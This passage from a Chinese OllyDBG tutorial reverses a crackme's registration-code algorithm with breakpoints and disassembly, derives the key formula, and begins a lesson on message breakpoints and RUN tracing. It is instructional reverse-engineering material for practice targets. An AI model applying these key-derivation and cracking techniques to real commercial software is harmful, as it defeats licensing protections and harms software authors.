data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930163121144.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930163121144"></p><p>经过上面的操作,我们的内存断点就设好了(这里还有个要注意的地方:内存断点<strong>只在当前调试的进程中有效,</strong>就是说你<strong>如果重新载入程序的话内存断点就自动删除</strong>了。且内存断点<strong>每一时刻只能有一个</strong>。就是说你不能像按 F2 键那样同时设置多个断点)。现在按 F9 键让程序运行,呵, OllyDBG 中断了! </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">7C932F39 8808 MOV BYTE PTR DS:[EAX],CL ; 这就是我们第一次断下来的地方</span><br><span class="line">7C932F3B 40 INC EAX</span><br><span class="line">7C932F3C 4F DEC EDI</span><br><span class="line">7C932F3D 4E DEC ESI</span><br><span class="line">7C932F3E ^ 75 CB JNZ SHORT ntdll.7C932F0B</span><br><span class="line">7C932F40 8B4D 10</span><br></pre></td></tr></table></figure><p>上面就是我们中断后反汇编窗口中的代码。如果你是其它系统,如 Win98 的话,可能会有所不同。没关系,这里不是关键。我们看一下领空,原来是<strong>在 ntdll.dll 内</strong>。<strong>系统领空</strong>,我们现在要考虑返回到程序领空。返回前我们看一下数据窗口: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930163853536.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930163853536.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930163853536"></p><p>现在我们转到反汇编窗口,右击鼠标,在弹出菜单上选择<em>断点->删除内存断点</em>,这样内存断点就被删除了 </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930164049303.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930164049303.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930164049303"></p><p>现在我们来按一下 ALT+F9 组合键,我们来到下面的代码: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">00401431 |. 8D35 9C334000 LEA ESI,DWORD PTR DS:[40339C] ; ALT+F9 返回后来到的位置</span><br><span class="line">00401437 |. 0FB60D EC334000 MOVZX ECX,BYTE PTR DS:[4033EC]</span><br><span class="line">0040143E |. 33FF XOR EDI,EDI </span><br></pre></td></tr></table></figure><p>我们把反汇编窗口往上翻翻,呵,原来就在我们上一篇分析的代码下面啊? </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930164343340.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930164343340.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930164343340"></p><p>现在我们在 0040140C 地址处那条指令上按 F2 设置一个断点,现在我们按 CTR+F2 组合键重新载入程序,载入后按 F9 键运行,我们将会中断在我们刚才在 0040140C 地址下的那个断点处: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">0040140C /$ 60 PUSHAD</span><br><span class="line">0040140D |. 6A 00 PUSH 0 ; /RootPathName = NULL</span><br><span class="line">0040140F |. E8 B4000000 CALL <JMP.&KERNEL32.GetDriveTypeA> ; \GetDriveTypeA</span><br><span class="line">00401414 |. A2 EC334000 MOV BYTE PTR DS:[4033EC],AL ; 磁盘类型参数送内存地址 4033EC</span><br><span class="line">00401419 |. 6A 00 PUSH 0 ; /pFileSystemNameSize = NULL</span><br><span class="line">0040141B |. 6A 00 PUSH 0 ; |pFileSystemNameBuffer = NULL</span><br><span class="line">0040141D |. 6A 00 PUSH 0 ; |pFileSystemFlags = NULL</span><br><span class="line">0040141F |. 6A 00 PUSH 0 ; |pMaxFilenameLength = NULL</span><br><span class="line">00401421 |. 6A 00 PUSH 0 ; |pVolumeSerialNumber = NULL</span><br><span class="line">00401423 |. 6A 0B PUSH 0B ; |MaxVolumeNameSize = B (11.)00401425 |. 68 9C334000 PUSH CrackHea.0040339C|VolumeNameBuffer = CrackHea.0040339C</span><br><span class="line">0040142A |. 6A 00 PUSH 0 ; |RootPathName = NULL</span><br><span class="line">0040142C |. E8 A3000000 CALL <JMP.&KERNEL32.GetVolumeInformationA> ; \GetVolumeInformationA</span><br><span class="line">00401431 |. 8D35 9C334000 LEA ESI,DWORD PTR DS:[40339C] ; 把 crackme 程序所在分区的卷标名称送到 ESI</span><br><span class="line">00401437 |. 0FB60D EC334000 MOVZX ECX,BYTE PTR DS:[4033EC] ; 磁盘类型参数送 ECX</span><br><span class="line">0040143E |. 33FF XOR EDI,EDI ; 把 EDI 清零</span><br><span class="line">00401440 |> 8BC1 MOV EAX,ECX ; 磁盘类型参数送 EAX</span><br><span class="line">00401442 |. 8B1E MOV EBX,DWORD PTR DS:[ESI] ; 把卷标名作为数值送到 EBX</span><br><span class="line">00401444 |. F7E3 MUL EBX ; 循环递减取磁盘类型参数值与卷标名值相乘</span><br><span class="line">00401446 |. 03F8 ADD EDI,EAX ; 每次计算结果再加上上次计算结果保存在 EDI 中</span><br><span class="line">00401448 |. 49 DEC ECX ; 把磁盘类型参数作为循环次数,依次递减</span><br><span class="line">00401449 |. 83F9 00 CMP ECX,0 ; 判断是否计算完</span><br><span class="line">0040144C |.^ 75 F2 JNZ SHORT CrackHea.00401440 ; 没完继续</span><br><span class="line">0040144E |. 893D 9C334000 MOV DWORD PTR DS:[40339C],EDI ; 把计算后值送到内存地址 40339C,这就是我们后来在 ESI 中看到的值</span><br><span class="line">00401454 |. 61 POPAD</span><br><span class="line">00401455 \. C3 RETN</span><br></pre></td></tr></table></figure><p>通过上面的分析,我们知道基本算法是这样的:先用 GetDriveTypeA 函数获取磁盘类型参数,再用 GetVolumeInformationA 函数获取这个 crackme 程序所在分区的卷标。如我把这个 Crackme 程序放<br>在 F:\OD 教程\crackhead\ 目录下,而我 F 盘设置的卷标是 GAME,则这里获取的就是 GAME, ASCII 码为“47414D45”。但我们发现一个问题:假如原来我们在数据窗口中看到的地址 40339C 处的 16 进制代码是“47414D45”,即“GAME”, 但经过地址 00401442 处的那条 MOV EBX,DWORD PTR DS:[ESI] 指令后,我们却发现 EBX 中的值是“454D4147”,正好把我们上面那个“47414D45”反过来了。为什么会这样呢?如果大家对 x86 系列 CPU 的存储方式了解的话,这里就容易理解了。我们知道“GAME”有四个字节,即 ASCII 码为“47414D45”。我们看一下数据窗口中的情况:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0040339C 47 41 4D 45 00 00 00 00 00 00 00 00 00 00 00 00 GAME............</span><br></pre></td></tr></table></figure><p>大家可以看出来内存地址 40339CH 到 40339FH 分别按顺序存放的是 47 41 4D 45。<br>如下图: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930170807922.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930170807922.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930170807922"></p><p><strong>系统存储的原则为“高高低低”</strong>,即<strong>低字节存放在地址较低的字节单元</strong>中,<strong>高字节存放在地址较高的字节单元</strong>中。比如一个字由两个字节组成,像这样: 12 34 ,这里的高字节就是 12 ,低字节就是 34。上面的那条指令 MOV EBX,DWORD PTR DS:[ESI] 等同于 MOV EBX,DWORD PTR DS:[40339C]。注意这里是 <strong>DWORD,即“双字”,由 4 个连续的字节构成</strong>。而取地址为 40339C 的双字单元中的内容时,我们应该得到的是“454D4147”,即<strong>由高字节到低字节顺序的值</strong>。因此经过 MOV EBX,DWORD PTR DS:[ESI] 这条指令,就是把从地址 40339C 开始处的值送到 EBX,所以我们得到了“454D4147”。好了,这里弄清楚了,我们再接着谈这个程序的算法。前面我们已经说了<strong>取磁盘类型参数做循环次数</strong>,再<strong>取卷标值 ASCII 码的逆序作为数值</strong>,有了这两个值就开始计算了。现在我们把磁盘类型值作为 n,卷标值 ASCII 码的逆序数值作为 a,最后得出的结果作为 b,有这样的计算过程: </p><blockquote><p>第一次: b = a <em> n<br>第二次: b = a </em> (n - 1) + b<br>第三次: b = a * (n - 2) + b<br>… </p><p>第 n 次: b = a <em> 1 + b<br>可得出公式为 b = a </em> [n + (n - 1) + (n - 2) + … + 1] = a <em> [n </em> (n + 1) / 2] </p></blockquote><p>还记得上一篇我们的分析吗?看这一句: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">00401405 |. 81F6 53757A79 XOR ESI,797A7553 ; 把 ESI中的值与 797A7553H 异或 </span><br></pre></td></tr></table></figure><p>这里算出来的 b 最后还要和 797A7553H 异或一下才是真正的注册码。只要你对编程有所了解,这个注册机就很好写了。如果用汇编来写这个注册机的话就更简单了,很多内容可以直接照抄。 </p><p>到此已经差不多了,最后还有几个东西也说一下吧: </p><ol><li>上面用到了两个 API 函数,一个是 GetDriveTypeA,还有一个是 GetVolumeInformationA,关于这两个函数的具体用法我就不多说了,大家可以查一下 MSDN。这里只要大家注意函数参数传递的次序,即调用约定。先看一下这里: </li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">00401419 |. 6A 00 PUSH 0 ; /pFileSystemNameSize = NULL</span><br><span class="line">0040141B |. 6A 00 PUSH 0 ; |pFileSystemNameBuffer = NULL</span><br><span class="line">0040141D |. 6A 00 PUSH 0 ; |pFileSystemFlags = NULL</span><br><span class="line">0040141F |. 6A 00 PUSH 0 ; |pMaxFilenameLength = NULL</span><br><span class="line">00401421 |. 6A 00 PUSH 0 ; |pVolumeSerialNumber = NULL</span><br><span class="line">00401423 |. 6A 0B PUSH 0B ; |MaxVolumeNameSize = B (11.)</span><br><span class="line">00401425 |. 68 9C334000 PUSH CrackHea.0040339C ; |VolumeNameBuffer = CrackHea.0040339C</span><br><span class="line">0040142A |. 6A 00 PUSH 0 ; |RootPathName = NULL</span><br><span class="line">0040142C |. E8 A3000000 CALL <JMP.&KERNEL32.GetVolumeInformationA> ; \GetVolumeInformationA</span><br></pre></td></tr></table></figure><p>把上面代码后的 OllyDBG 自动添加的注释与 MSDN 中的函数原型比较一下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">GetVolumeInformation</span><span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function"> LPCTSTR lpRootPathName, <span class="comment">// address of root directory of the file system</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPTSTR lpVolumeNameBuffer, <span class="comment">// address of name of the volumeDWORD nVolumeNameSize, // length of lpVolumeNameBuffer</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPDWORD lpVolumeSerialNumber, <span class="comment">// address of volume serial number</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPDWORD lpMaximumComponentLength, <span class="comment">// address of system&apos;s maximum filename length</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPDWORD lpFileSystemFlags, <span class="comment">// address of file system flags</span></span></span></span><br><span class="line"><span class="params"><span class="function"> LPTSTR lpFileSystemNameBuffer, <span class="comment">// address of name of file system</span></span></span></span><br><span class="line"><span class="params"><span class="function"> DWORD nFileSystemNameSize <span class="comment">// length of lpFileSystemNameBuffer</span></span></span></span><br><span class="line"><span class="params"><span class="function">)</span></span>;</span><br></pre></td></tr></table></figure><p>大家应该看出来点什么了吧?<strong>函数调用是先把最后一个参数压栈,参数压栈顺序是从后往前</strong>。这就是一般比较常见的 stdcall 调用约定。 </p><ol><li>我在前面的 00401414 地址处的那条 MOV BYTE PTR DS:[4033EC],AL 指令后加的注释是“磁盘类型参数送内存地址 4033EC”。为什么这样写?大家把前一句和这一句合起来看一下: </li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0040140F |. E8 B4000000 CALL <JMP.&KERNEL32.GetDriveTypeA> ; \GetDriveTypeA</span><br><span class="line">00401414 |. A2 EC334000 MOV BYTE PTR DS:[4033EC],AL ; 磁盘类型参数送内存地址 4033EC</span><br></pre></td></tr></table></figure><p>地址 0040140F 处的那条指令是调用 <code>GetDriveTypeA</code> 函数,一般函数调用后的返回值都保存在 EAX 中,所以地址 00401414 处的那一句 MOV BYTE PTR DS:[4033EC],AL 就是传递返回值。查一下 MSDN 可以知道 GetDriveTypeA 函数的返回值有这几个: </p><div class="table-container"><table><thead><tr><th>Value</th><th>Meaning</th><th>返回在 EAX 中的值</th></tr></thead><tbody><tr><td>DRIVE_UNKNOWN</td><td>The drive type cannot be determined.</td><td>0</td></tr><tr><td>DRIVE_NO_ROOT_DIR</td><td>The root directory does not exist.</td><td>1</td></tr><tr><td>DRIVE_REMOVABLE</td><td>The disk can be removed from the drive.</td><td>2</td></tr><tr><td>DRIVE_FIXED</td><td>The disk cannot be removed from the drive.</td><td>3</td></tr><tr><td>DRIVE_REMOTE</td><td>The drive is a remote (network) drive.</td><td>4</td></tr><tr><td>DRIVE_CDROM</td><td>The drive is a CD-ROM drive.</td><td>5</td></tr><tr><td>DRIVE_RAMDISK</td><td>The drive is a RAM disk.</td><td>6</td></tr></tbody></table></div><p>上面那个“返回在 EAX 中的值”是我加的,<strong>我这里返回的是 3,即磁盘不可从驱动器上删除</strong>。</p><ol><li>通过分析这个程序的算法,我们发现这个注册算法是有漏洞的。如果我的分区没有卷标的话,则卷标值为 0,最后的注册码就是 797A7553H,即十进制 2038068563。而如果你的卷标和我一样,且磁盘类型一样的话,注册码也会一样,并不能真正做到一机一码。</li></ol><h2 id="消息断点及-RUN-跟踪"><a href="#消息断点及-RUN-跟踪" class="headerlink" title="消息断点及 RUN 跟踪"></a>消息断点及 RUN 跟踪</h2><p>找了几十个不同语言编写的 crackme,发现只用消息断点的话有很多并不能真正到达我们要找的关键位置,想想还是把消息断点和 RUN 跟踪结合在一起讲,更有效一点。关于消息断点的更多内容大家可以参考 jingulong 兄的那篇《几种典型程序 Button 处理代码的定位》的文章,堪称经典之作(<a href="https://bbs.pediy.com/thread-20078.htm)。">https://bbs.pediy.com/thread-20078.htm)。</a></p><p>今天仍然选择 <strong>crackmes.cjb.net</strong> 镜像打包中的一个名称为 <strong>cycle</strong> 的 crackme。按照惯例,我们先运行一下这个程序看看: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930203031458.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20220930203031458.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20220930203031458"></p><p>我们输入用户名 CCDebuger,序列号 78787878,点上面那个“Check”按钮,呵, 没反应!看来是要注册码正确才有动静。现在关掉这个 crackme,用 PEiD 查一下壳,原来是 MASM32 / TASM32 [Overlay]。启动 OllyDBG 载入这个程序, F9 让它运行。</p><p>这个程序按我们前面讲的<strong>采用字串参考或函数参考的方法都很容易断下来</strong>。但我们今天主要学习的是<strong>消息断点</strong>及 <strong>RUN 跟踪</strong>,就先用消息断点来断这个程序吧。在设消息断点前,有两个内容我们要简单了解一下:首先我们要了解的是消息。 Windows 的中文翻译就是“窗口”,而 Windows 上面的应用程序也都是通过窗口来与用户交互的。现在就有一个问题,<strong>应用程序是如何知道用户作了什么样的操作的?这里就要用到消息了</strong>。 <strong>Windows 是个基于消息的系统</strong>,它在应用程序开始执行后,为该程序创建一个“<strong>消息队列</strong>”,用来<strong>存放该程序可能创建的各种不同窗口的信息</strong>。比如你创建窗口、点击按钮、移动鼠标等等,都是通过消息来完成的。通俗的说, <strong>Windows 就像一个中间人,你要干什么事是先通知它,然后它才通过传递消息的方式通知应用程序作出相应的操作</strong>。说到这,又有个问题了,在 Windows 下有多个程序都在运行,那我点了某个按钮,或把某个窗口最大化, Windows 知道我是点的哪个吗?这里就要说到另一个内容:<strong>句柄(handle)</strong>了。<strong>句柄一般是个 32 位的数,表示一个对象</strong>。 Windows 通过使用句柄来标识它代表的对象。<strong>比如你点击某个按钮, Windows 就是通过句柄来判断你是点击了那一个按钮</strong>,<strong>然后发送相应的消息通知程序</strong>。</p><p>说完这些我们再回到我们调试的程序上来,你应该已经用 OllyDBG 把这个 crackme 载入并按 F9 键运行了吧?现在我们输入用户名“CCDebuger”,序列号“78787878”,先不要点那个“Check”按钮,我们来到 OllyDBG 中,点击菜单 <em>查看->窗口</em>(或者点击工具栏上那个“W”的图标),我们会看到以下内容: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010114933.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010114933.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010114933"></p><p>我们在选中的条目上点右键,再选择上图所示的菜单项,会来到下面这个窗口: </p><p>现在我们点击图上的那个下拉菜单,呵,原来里面的消息真不少。这么多消息我们选哪个呢?注册是个按钮,我们就在按下按钮再松开时让程序中断。查一下 MSDN,我们知道这个消息应该是 WM_LBUTTON_UP,看字面意思也可以知道是左键松开时的消息: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010228461.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010228461.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010228461"></p><p>从下拉菜单中选中那个 <code>202 WM_LBUTTON_UP</code>,再按<em>确定按钮</em>,我们的消息断点就设好了。现在我们还要做一件事,就是<strong>把 RUN 跟踪打开</strong>。有人可能要问,这个 RUN 跟踪是干什么的?简单的说, <strong>RUN 跟踪就是把被调试程序执行过的指令保存下来</strong>,让你可以查看被调试程序运行期间干了哪些事。 <strong>RUN 跟踪会把地址、寄存器的内容、消息以及已知的操作数记录到 RUN 跟踪缓冲区中</strong>,你可以通过查看 RUN 跟踪的记录来了解程序执行了那些指令。在这还要注意一个缓冲区大小的问题,如果执行的指令太多,缓冲区满了的话,就会自动丢弃前面老的记录。我们可以在调试选项->跟踪中设置: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010443815.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010443815.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010443815"></p><p>现在我们回到 OllyDBG 中,点击<em>菜单调试->打开或清除 RUN 跟踪</em>(第一次点这个菜单是打开 RUN 跟踪,在打开的情况下点击就是清除 RUN 跟踪的记录,对 RUN 跟踪熟悉时还可以设置条件),保证当前在我们调试的程序领空,在反汇编窗口中点击右键,在弹出菜单中选择 <em>RUN 跟踪->添加所有函数过程的入口</em>: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010622958.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010622958.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010622958"></p><p>我们可以看到 OllyDBG 把识别出的函数过程都在前面加了灰色条:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010641506.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010641506.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010641506"></p><p>现在我们回到那个 crackme 中按那个“Check”按钮,被 OllyDBG 断下了: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010649820.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010649820.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010649820"></p><p>这时我们点击菜单查看->内存,或者点击工具栏上那个“M”按钮(也可以按组合键 ALT+M),来到内存映射窗口:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010705583.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002010705583.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002010705583"></p><p>为什么在这里设访问断点,我也说一下。我们可以看一下常见的 PE 文件,没加过壳的用 PEiD 检测是这样: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002130135520.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002130135520.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002130135520"></p><p>点一下 EP 段后面那个“>”符号,我们可以看到以下内容:</p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002131726088.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002131726088.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002131726088"></p><p>看完上面的图我们应该了解为什么在 401000 处的代码段下访问断点了,我们这里的意思就是在消息断点断下后,<strong>只要按 F9 键运行时执行到程序代码段的指令我们就中断</strong>,<strong>这样就可以回到程序领空了</strong>(当然在 401000 处所在的段不是绝对的,我们主要是要看程序的代码段在什么位置,其实在上面图中 OllyDBG 内存窗口的“包含”栏中我们就可以看得很清楚了)。设好访问断点后我们按 F9 键,被 OllyDBG 断下: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002133424002.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002133424002.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002133424002"></p><p>现在我们先不管,按 F9 键(或者按 <code>CTR+F12 组合键</code>跟踪步过)让程序运行,再点击菜单查看->RUN 跟踪,或者点击工具栏上的那个“…”符号,打开 RUN 跟踪的记录窗口看看: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160146205.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160146205.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002160146205"></p><p>我们现在再来看看统计的情况: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160201987.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160201987.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002160201987"></p><p>在地址 401082 处的那条指令上双击一下,来到以下位置: </p><p><img src="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160351653.png" class="lazyload placeholder" data-srcset="/2022/10/02/OllyDBG%E5%AE%8C%E7%BE%8E%E6%95%99%E7%A8%8B-%E8%B6%85%E5%BC%BA%E5%85%A5%E9%97%A8%E7%BA%A7/image-20221002160351653.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="image-20221002160351653"></p><p>现在我们在地址 4010A6 处的那条指令上按 F2,删除所有其它的断点,点<em>菜单调试->关闭 RUN 跟踪</em>,现在我们就可以开始分析了: </p><figure 